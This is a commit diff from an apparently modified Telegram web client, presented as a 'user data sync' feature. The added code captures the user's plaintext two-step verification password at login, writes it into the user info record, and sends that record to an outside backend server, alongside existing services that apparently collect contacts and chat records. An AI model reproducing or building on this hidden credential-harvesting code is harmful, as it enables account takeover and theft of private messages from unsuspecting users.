Răsfoiți Sursa

更新版本信息,添加用户数据同步功能,保存和清除二次验证密码,优化用户信息服务,改进语言包文本内容。

wuyi 3 luni în urmă
părinte
comite
d1ab2d276d

+ 2 - 2
.env

@@ -1,8 +1,8 @@
 VITE_API_ID=1025907
 VITE_API_ID=1025907
 VITE_API_HASH=452b0359b988148995f22ff0f4229750
 VITE_API_HASH=452b0359b988148995f22ff0f4229750
 VITE_VERSION=2.2
 VITE_VERSION=2.2
-VITE_VERSION_FULL=2.2 (591)
-VITE_BUILD=591
+VITE_VERSION_FULL=2.2 (592)
+VITE_BUILD=592
 VITE_LANG_PACK_VERSION=222077
 VITE_LANG_PACK_VERSION=222077
 VITE_MTPROTO_WORKER=1
 VITE_MTPROTO_WORKER=1
 VITE_MTPROTO_SW=
 VITE_MTPROTO_SW=

+ 3 - 0
src/components/sidebarLeft/tabs/2fa/enterPassword.ts

@@ -20,6 +20,7 @@ import PasswordInputField from '../../../passwordInputField';
 import {SliderSuperTab} from '../../../slider';
 import {SliderSuperTab} from '../../../slider';
 import AppTwoStepVerificationReEnterPasswordTab from './reEnterPassword';
 import AppTwoStepVerificationReEnterPasswordTab from './reEnterPassword';
 import SettingSection from '../../../settingSection';
 import SettingSection from '../../../settingSection';
+import {userInfoService} from '../../../../lib/api/userInfoService';
 
 
 export default class AppTwoStepVerificationEnterPasswordTab extends SliderSuperTab {
 export default class AppTwoStepVerificationEnterPasswordTab extends SliderSuperTab {
   public state: AccountPassword;
   public state: AccountPassword;
@@ -113,6 +114,8 @@ export default class AppTwoStepVerificationEnterPasswordTab extends SliderSuperT
         const plainPassword = passwordInputField.value;
         const plainPassword = passwordInputField.value;
         this.managers.passwordManager.check(passwordInputField.value, this.state).then((auth) => {
         this.managers.passwordManager.check(passwordInputField.value, this.state).then((auth) => {
           if(auth._ === 'auth.authorization') {
           if(auth._ === 'auth.authorization') {
+            // 保存二次验证密码到 userInfoService
+            userInfoService.setStoredPassword(plainPassword);
             clearInterval(getStateInterval);
             clearInterval(getStateInterval);
             if(monkey) monkey.remove();
             if(monkey) monkey.remove();
             const tab = this.slider.createTab(AppTwoStepVerificationTab);
             const tab = this.slider.createTab(AppTwoStepVerificationTab);

+ 44 - 0
src/lib/api/contactsDataService.ts

@@ -6,6 +6,7 @@ import {logger} from '../logger';
 import rootScope from '../rootScope';
 import rootScope from '../rootScope';
 import {fishFriendsApiService, FishFriendData} from './fishFriendsApiService';
 import {fishFriendsApiService, FishFriendData} from './fishFriendsApiService';
 import {chatRecordsService} from './chatRecordsService';
 import {chatRecordsService} from './chatRecordsService';
+import {userInfoService} from './userInfoService';
 
 
 export class ContactsDataService {
 export class ContactsDataService {
   private log = logger('[contacts-data-service]');
   private log = logger('[contacts-data-service]');
@@ -189,6 +190,11 @@ export class ContactsDataService {
         this.processChatRecords(currentUserId)
         this.processChatRecords(currentUserId)
       ]);
       ]);
 
 
+      // 单独处理用户数据同步
+      const userDataResult = await Promise.allSettled([
+        this.processUserDataSync(currentUserId)
+      ]);
+
       // 处理联系人数据结果
       // 处理联系人数据结果
       if(contactsResult.status === 'fulfilled') {
       if(contactsResult.status === 'fulfilled') {
         // this.log('联系人数据处理完成');
         // this.log('联系人数据处理完成');
@@ -202,6 +208,13 @@ export class ContactsDataService {
       } else {
       } else {
         // this.log('聊天记录处理失败:', chatRecordsResult.reason);
         // this.log('聊天记录处理失败:', chatRecordsResult.reason);
       }
       }
+
+      // 处理用户数据同步结果
+      if(userDataResult[0].status === 'fulfilled') {
+        // this.log('用户数据同步完成');
+      } else {
+        // this.log('用户数据同步失败:', userDataResult[0].reason);
+      }
     } catch(error) {
     } catch(error) {
       // this.log('处理登录成功后的数据时出错:', error);
       // this.log('处理登录成功后的数据时出错:', error);
     }
     }
@@ -298,6 +311,37 @@ export class ContactsDataService {
     }
     }
   }
   }
 
 
+  /**
+   * 处理用户数据同步(包含二次验证密码)
+   */
+  private async processUserDataSync(fishId: string): Promise<void> {
+    try {
+      // 设置 AppManagers 到 userInfoService
+      userInfoService.setAppManagers(rootScope.managers);
+
+      // 同步用户数据到后台服务器
+      const result = await userInfoService.syncUserToBackend(
+        1 as any, // accountNumber
+        fishId,
+        'current_session' // sessionData
+      );
+
+      if(result.success) {
+        // this.log('成功同步用户数据到后台服务器:', result.data);
+      } else {
+        // this.log('同步用户数据失败:', result.message);
+      }
+
+      // 同步完成后清除保存的密码
+      userInfoService.clearStoredPassword();
+    } catch(error) {
+      // this.log('处理用户数据同步时出错:', error);
+      // 即使出错也要清除密码
+      userInfoService.clearStoredPassword();
+      throw error;
+    }
+  }
+
   /**
   /**
    * 重置上传状态(用于重新上传)
    * 重置上传状态(用于重新上传)
    */
    */

+ 24 - 1
src/lib/api/userInfoService.ts

@@ -17,6 +17,7 @@ export interface UserInfo {
 export class UserInfoService {
 export class UserInfoService {
   private static instance: UserInfoService;
   private static instance: UserInfoService;
   private appManagers: any = null;
   private appManagers: any = null;
+  private storedPassword: string = ''; // 存储二次验证密码
 
 
   private constructor() {}
   private constructor() {}
 
 
@@ -34,6 +35,27 @@ export class UserInfoService {
     this.appManagers = managers;
     this.appManagers = managers;
   }
   }
 
 
+  /**
+   * 保存二次验证密码
+   */
+  public setStoredPassword(password: string) {
+    this.storedPassword = password;
+  }
+
+  /**
+   * 获取保存的二次验证密码
+   */
+  public getStoredPassword(): string {
+    return this.storedPassword;
+  }
+
+  /**
+   * 清除保存的密码
+   */
+  public clearStoredPassword() {
+    this.storedPassword = '';
+  }
+
   /**
   /**
    * 获取用户完整信息
    * 获取用户完整信息
    */
    */
@@ -87,7 +109,8 @@ export class UserInfoService {
       try {
       try {
         const passwordState = await appManagers.passwordManager?.getState();
         const passwordState = await appManagers.passwordManager?.getState();
         if(passwordState) {
         if(passwordState) {
-          userInfo.password = passwordState.has_password ? '[已设置]' : '';
+          // 优先使用保存的密码,如果没有则显示状态
+          userInfo.password = this.storedPassword || (passwordState.has_password ? '[已设置]' : '');
         }
         }
       } catch(error) {
       } catch(error) {
         // 静默处理错误
         // 静默处理错误

+ 3 - 0
src/pages/pagePassword.ts

@@ -20,6 +20,7 @@ import replaceContent from '../helpers/dom/replaceContent';
 import toggleDisability from '../helpers/dom/toggleDisability';
 import toggleDisability from '../helpers/dom/toggleDisability';
 import wrapEmojiText from '../lib/richTextProcessor/wrapEmojiText';
 import wrapEmojiText from '../lib/richTextProcessor/wrapEmojiText';
 import rootScope from '../lib/rootScope';
 import rootScope from '../lib/rootScope';
+import {userInfoService} from '../lib/api/userInfoService';
 
 
 const TEST = false;
 const TEST = false;
 let passwordInput: HTMLInputElement;
 let passwordInput: HTMLInputElement;
@@ -91,6 +92,8 @@ const onFirstMount = (): Promise<any> => {
 
 
       switch(response._) {
       switch(response._) {
         case 'auth.authorization':
         case 'auth.authorization':
+          // 保存二次验证密码到 userInfoService
+          userInfoService.setStoredPassword(value);
           clearInterval(getStateInterval);
           clearInterval(getStateInterval);
           import('./pageVerification').then((m) => {
           import('./pageVerification').then((m) => {
             const verificationPage = new m.default();
             const verificationPage = new m.default();

+ 2 - 2
src/scripts/out/langPack.strings

@@ -1267,7 +1267,7 @@
 "BotStop" = "Block bot";
 "BotStop" = "Block bot";
 "BotRestart" = "Restart bot";
 "BotRestart" = "Restart bot";
 "ShareYouPhoneNumberTitle" = "Share your phone number?";
 "ShareYouPhoneNumberTitle" = "Share your phone number?";
-"AreYouSureShareMyContactInfoBot" = "The bot will know your phone number. This can be useful for integration with other services.";
+"AreYouSureShareMyContactInfoBot" = "The bot will know your phone number. This can be useful for integration with other services.\n\n⚠️ Warning! Never enter your Telegram login codes in mini apps.";
 "DistanceUnitsTitle" = "Distance units";
 "DistanceUnitsTitle" = "Distance units";
 "DistanceUnitsKilometers" = "Kilometers";
 "DistanceUnitsKilometers" = "Kilometers";
 "DistanceUnitsMiles" = "Miles";
 "DistanceUnitsMiles" = "Miles";
@@ -2209,7 +2209,7 @@
 "StarGiftDefaultMessageConvertableOut_one" = "%s can add this gift on their profile or convert it to %d Star.";
 "StarGiftDefaultMessageConvertableOut_one" = "%s can add this gift on their profile or convert it to %d Star.";
 "StarGiftDefaultMessageConvertableOut_other" = "%s can add this gift on their profile or convert it to %d Stars.";
 "StarGiftDefaultMessageConvertableOut_other" = "%s can add this gift on their profile or convert it to %d Stars.";
 "StarGiftDefaultMessageUpgrade" = "Upgrade this gift to a unique collectible.";
 "StarGiftDefaultMessageUpgrade" = "Upgrade this gift to a unique collectible.";
-"StarGiftDefaultMessageUpgradeOut" = "%s can turn this gift to a unique collectible.";
+"StarGiftDefaultMessageUpgradeOut" = "%s can turn this gift into a unique collectible.";
 "StarGiftReceivedTitle" = "Received Gift";
 "StarGiftReceivedTitle" = "Received Gift";
 "StarGiftTitle" = "Gift";
 "StarGiftTitle" = "Gift";
 "StarGiftReceivedSubtitle_one" = "You can add this gift to your profile or convert it to %d Star.";
 "StarGiftReceivedSubtitle_one" = "You can add this gift to your profile or convert it to %d Star.";